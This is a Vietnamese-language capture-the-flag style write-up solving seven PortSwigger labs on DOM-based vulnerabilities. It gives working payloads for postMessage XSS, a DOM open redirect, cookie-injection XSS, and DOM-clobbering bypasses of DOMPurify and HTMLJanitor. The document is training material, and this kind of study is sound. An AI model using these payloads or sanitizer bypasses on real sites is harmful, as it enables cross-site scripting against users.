# Portswigger DOM-based vulnerabilities 😣
<style>body {text-align: justify}</style>
Hi, dưới đây là writeup của 7/7 bài lab về lỗ hổng [DOM-based](https://portswigger.net/web-security/dom-based) mình đã solve trong quá trình ôn tập thi chứng chỉ của Portswigger.
### 1. DOM XSS using web messages
##### Description
> This lab demonstrates a simple web message vulnerability. To solve this lab, use the exploit server to post a message to the target site that causes the `print(`) function to be called.
##### Writeup
Truy cập trang chủ thì xuất hiện 1 đoạn script tạo event lắng nghe và lấy trực tiếp web message ghi vào tag có chứa `id="ads"` thông qua innerHTML.

```javascript
<script>
window.addEventListener('message', function(e) {
document.getElementById('ads').innerHTML = e.data;
})
</script>
```
Có thể thấy, đoạn script trên không có check nguồn cũng như validate message. Như vậy ta có thể dùng hàm `postMessage()` với message là XSS payload `<img src=1 onerror=print()` (Do dùng innerHTML). Để trigger được event trên, ta dùng iframe với nội dung như sau:
```htmlembedded
<iframe src="<LAB-DOMAIN>" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">
```
Lưu vào exploit-server và thử `View exploit`, ta thấy hàm print() đã được trigger thành công.

`Deliver exploit to victim` và ta solve được challenge.

### 2. DOM XSS using web messages and a JavaScript URL
##### Description
> This lab demonstrates a DOM-based redirection vulnerability that is triggered by web messaging. To solve this lab, construct an HTML page on the exploit server that exploits this vulnerability and calls the `print()` function
##### Writeup
Tương tự bài trên, ứng dụng tồn tại một script lắng nghe web message. Khác với bài trên, message lần này yêu cầu là 1 url phải chứa `http:` hoặc `https:` vì dùng hàm indexOf; Đồng thời, nó sẽ được gán vào `location.href` nếu thỏa điều kiện.
```javascript
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
location.href = url;
}
}, false);
</script>
```
Như vậy mình có thể `postMessage()` với message: `javascript:alert("https://a")`. Lúc này, nó thỏa điều kiện check url ở trên vì có chứa `https:`, và vì dùng sink location.href nên có thể trigger các hàm js bằng scheme `javascript:`.

Tạo payload bằng iframe và lưu vào exploit-server. Message cụ thể: `javascript:print('https://a')`
```htmlembedded
<iframe src="<LAB-DOMAIN>" onload="this.contentWindow.postMessage('javascript:print(\'https://a\')','*')">
```
`View exploit`, ta thấy `print()` thành công.

Gửi cho nạn nhân và ta solve được challenge.

### 3. DOM XSS using web messages and JSON.parse
##### Description
> This lab uses web messaging and parses the message as JSON. To solve the lab, construct an HTML page on the exploit server that exploits this vulnerability and calls the `print()` function.
##### Writeup
Ứng dụng tạo 1 iframe với src là `d.url` từ web message `d` sau khi được parse bằng `JSON.parse()` nếu như `d.type=="load-channel".`
```javascript
<script>
window.addEventListener('message', function(e) {
var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
document.body.appendChild(iframe);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "page-load":
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
ACMEplayer.element.src = d.url;
break;
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
}
}, false);
</script>
```
Như vậy ta có tạo payload như sau với url `javascript:print()` để trigger XSS.
```javascript
var payload = '{"type":"load-channel", "url": "javascript:print()"}'
postMessage(payload)
```
Test thử trên console ta thấy `print()` đã được gọi thành công.

Sử dụng iframe tương tự các bài trên với payload đã tạo và lưu vào exploit-server.
```htmlembedded
<iframe src="<LAB-DOMAIN>" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
```
`View exploit` thử thì thấy attack thành công.

`Deliver exploit to victim` và ta solve được challenge.

### 4. DOM-based open redirection
##### Description
> This lab contains a DOM-based open-redirection vulnerability. To solve this lab, exploit this vulnerability and redirect the victim to the exploit server.
##### Writeup
Tại chức năng `Back to Blog`, xuất hiện một đoạn xử lí để lấy returnPath trước khi trả user về đường dẫn theo returnPath.

Cụ thể, nếu như `location` chứa `url=https://...` thì returnPath sẽ được set và mình sẽ được trả về chính đường dẫn đó nếu click `Back to Blog`. Nếu không nó sẽ trả về trang chủ tại `/`.
```htmlembedded
<a href='#' onclick='returnUrl = /url=(https?:\/\/.+)/.exec(location); if(returnUrl)location.href = returnUrl[1];else location.href = "/"'>Back to Blog</a>
```
Như vậy mình chỉ cần thêm tham số `url` với đường dẫn exploit-server trên url để solve challenge này.
```
https://<LAB-ID>.web-security-academy.net/post?postId=2&url=https://<EXPLOIT-ID>.exploit-server.net/
```
Click `Back to Blog` và mình được redirect đến exploit-server. Như vậy ta solve được challenge.

### 5. DOM-based cookie manipulation
##### Description
> This lab demonstrates DOM-based client-side cookie manipulation. To solve this lab, inject a cookie that will cause XSS on a different page and call the print() function. You will need to use the exploit server to direct the victim to the correct pages.
##### Writeup
Khi xem các post về product thì mình sẽ được set 1 cookie `lastViewedProduct` để lưu đường dẫn của post product vừa xem thông qua `window.location`.


Sau đó, quay lại trang chủ thì thấy 1 đường link `Last viewed product` với đường dẫn được lấy từ chính cookie `lastViewedProduct`. Có vẻ như mình có thể escape và reflected XSS tại đây.

GET tới đường dẫn như hình chứa XSS payload để `lastViewProduct` được set.

Quay lại trang chủ thì thấy mình đã XSS thành công.


Bây giờ chỉ cần tạo iframe query đến post chứa XSS print() payload. Và khi nó load thành công thì quay lại trang chủ để trigger XSS. `window.x=1` ở đây được sử dụng để tránh bị loop load trang chủ.
```
<iframe src="https://LAB-ID.web-security-academy.net/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://LAB-ID.web-security-academy.net';window.x=1;">
```
Lưu vào exploit-server và view thử thì thấy print() được thực thi.

Như vậy ta solve thành công challenge.

### 6. Exploiting DOM clobbering to enable XSS
##### Description
> This lab contains a DOM-clobbering vulnerability. The comment functionality allows "safe" HTML. To solve this lab, construct an HTML injection that clobbers a variable and uses XSS to call the `alert()` function.
##### Writeup
Chức năng comment của ứng dụng có cho phép input dạng HTML. Test thử với tag `<h1>`

Có thể thấy thẻ `<h1>` đã được render thành công.

Đọc source HTML thì thấy cái file `loadCommentsWithDomClobbering.js` thực hiện load các comments.

Truy cập vào đọc file js, ta thấy biến `defaultAvatar` được lấy từ kết quả phép OR giữa `window.defaultAvatar` với `{avatar: '/resources/images/avatarDefault.svg'}`. Sau đó nó sẽ được nối với thuộc tính `src` của thẻ `<img>` để render avatar. Có thể thấy, đoạn script này dính DOM Clobbering khi mình có thể clobber `defaultAvatar` object.
```javascript
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
```
Post comment với body như sau để clobber `defaultAvatar` object.
```htmlembedded
<a id=defaultAvatar><a id=defaultAvatar name=avatar href='\"onerror=alert(1)//'>
```
Ta cần 2 tag `<a>` với cùng `id=defaultAvatar` và `name=avatar` để tạo 1 DOM HTML collection vì ta cần truy xuất 2 level `window.defaultAvatar.avatar`. Đồng thời `href='\"onerror=alert(1)//'` để escape `src` của tag `<img>` avatar → `src` sai dẫn đến trigger `onerror`.
Gửi payload với comment. Tuy nhiên trường `href` của tag `<a>` đã bị xóa hoàn toàn.

Đọc kĩ lại source js, có thể thấy ứng dụng dùng DOMpurify để sanitize → `href` bị xóa.
```javascript
commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);
```
Tuy nhiên, có 1 trick dùng cho DOMPurify là sử dụng các protocol `cid`, `xmpp`, ... tại các thuộc tính url thì nó sẽ không URL encode kí tự `"`. (Xem tại [link](https://github.com/cure53/DOMPurify/blob/41766f5527233fc378b49a4d11b3ad9dc5775882/dist/purify.js#L98)). Như vậy khi ta encode `"` thành `"` thì nó sẽ được decode tại runtime thành `"` và khi đi qua DOMPurify.sanitize() sẽ không bị encode → Sử dụng payload sau với trường href dùng 1 trong các scheme `cid` hay `xmpp`, ...
```htmlembedded
<a id=defaultAvatar><a id=defaultAvatar name=avatar href=xmpp:"onerror=alert(1)//>
```
Tiếp theo, gửi payload bằng comment 1 trước để nó clobber `defaultAvatar` object trước rồi gửi comment 2 bất kì thì avatar của comment 2 bị dính XSS theo payload đã tạo.

Kết quả khi load comment thì `alert()` bị trigger.

Như vậy ta solve được challenge.

### 7. Clobbering DOM attributes to bypass HTML filters
##### Description
> This lab uses the HTMLJanitor library, which is vulnerable to DOM clobbering. To solve this lab, construct a vector that bypasses the filter and uses DOM clobbering to inject a vector that calls the `print()` function. You may need to use the exploit server in order to make your vector auto-execute in the victim's browser.
##### Writeup
Đọc source HTML tại trang các posts thì thấy cái file `loadCommentsWithDomClobbering.js` thực hiện load các comments và cả thư viện HTMLJanitor để sanitize input của người dùng.

Trong `loadCommentsWithDomClobbering.js`, xuất hiện config các tag và thuộc tính cho phép đối với input nó check. Cụ thể, nó chỉ cho phép sử dụng:
- tag `input` với các thuộc tính `name, type, value`
- tag `form` với thuộc tính `id`
- các tag `i`, `b`, `p` không được sử dụng thuộc tính nào
```javascript
let janitor = new HTMLJanitor({
tags: {
input: {
name: true,
type: true,
value: true
},
form: {
id: true
},
i: {},
b: {},
p: {}
}
});
```
Ví dụ như nội dung body của comment sẽ được clean bởi janitor theo config trên.
```javascript
commentBodyPElement.innerHTML = janitor.clean(comment.body);
```
Ta test thử với comment thỏa mãn config của janitor.
```
<form id=test><input name=button type=button value=Click>
```
Có thể thấy 1 form chứa input button được render tại comment. Tuy nhiên khi dùng các thuộc tính ngoài config trên thì sẽ bị janitor filter đi.

Nó thực hiện sanitize thông qua hàm `clean()`. Hàm `clean()` sẽ gọi đến `_sanitize()`

Tại hàm `_sanitize()`, nó thực hiện sanitize đến node firstChild trước và loop qua các attributes của node, nếu nó không nằm trong whitelist (theo config trên) thì sẽ bị remove.
```javascript
// Sanitize attributes
for (var a = 0; a < node.attributes.length; a += 1) {
var attr = node.attributes[a];
if (shouldRejectAttr(attr, allowedAttrs, node)) {
node.removeAttribute(attr.name);
// Shift the array to continue looping.
a = a - 1;
}
}
// Sanitize children
this._sanitize(document, node);
```
Tuy nhiên, mình có thể DOM clobbering thuộc tính `attributes` → `node.attributes.length` bị undefined → các thuộc tính ngoài config sẽ không bị filter. Payload sử dụng như sau:
```htmlembedded
<form id=exp tabindex=1 onfocus=print()><input id=attributes>
```
Bằng cách sử dụng thẻ `input` là firstChild của `form` và `id=attributes` tại tag `input`, tga sẽ bypass được janitor.
Comment với payload.

Focus đến comment bằng `#exp` (`id` của `form`), sự kiện `onfocus` được trigger → `print()` được gọi thành công.

Sử dụng iframe để gửi đến nạn nhân đường dẫn và đợi đến khi load comments xong thì tự động focus tới `#exp`.

Gửi cho nạn nhân và ta solve được challenge.

## Summary

- **Source:** Dangerous input data from attacker
- `location.search, location.hash, document.referer, document.cookie, ...`
- Web message
- **Sink:** Dangerous JS function or DOM object
- `eval(), document.body.innerHTML, document.write()`
Fundamentally, **DOM-based vulnerabilities** arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session.
**→ Taint-flow vulnerabilities**
- avoid allowing data from any untrusted source to dynamically alter the value that is transmitted to any sink
**Web message**
- Impact: depends on the destination document's handling of the incoming message
- The `window.postMessage(message, targetOrigin)` method safely enables cross-origin communication between `window objects`; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it.
**DOM-based open-redirection vulnerabilities**
- avoid dynamically setting redirection targets using data that originated from any untrusted source.
**DOM Clobbering**
###### tags: `portswigger`, `dom-based`, `client-side`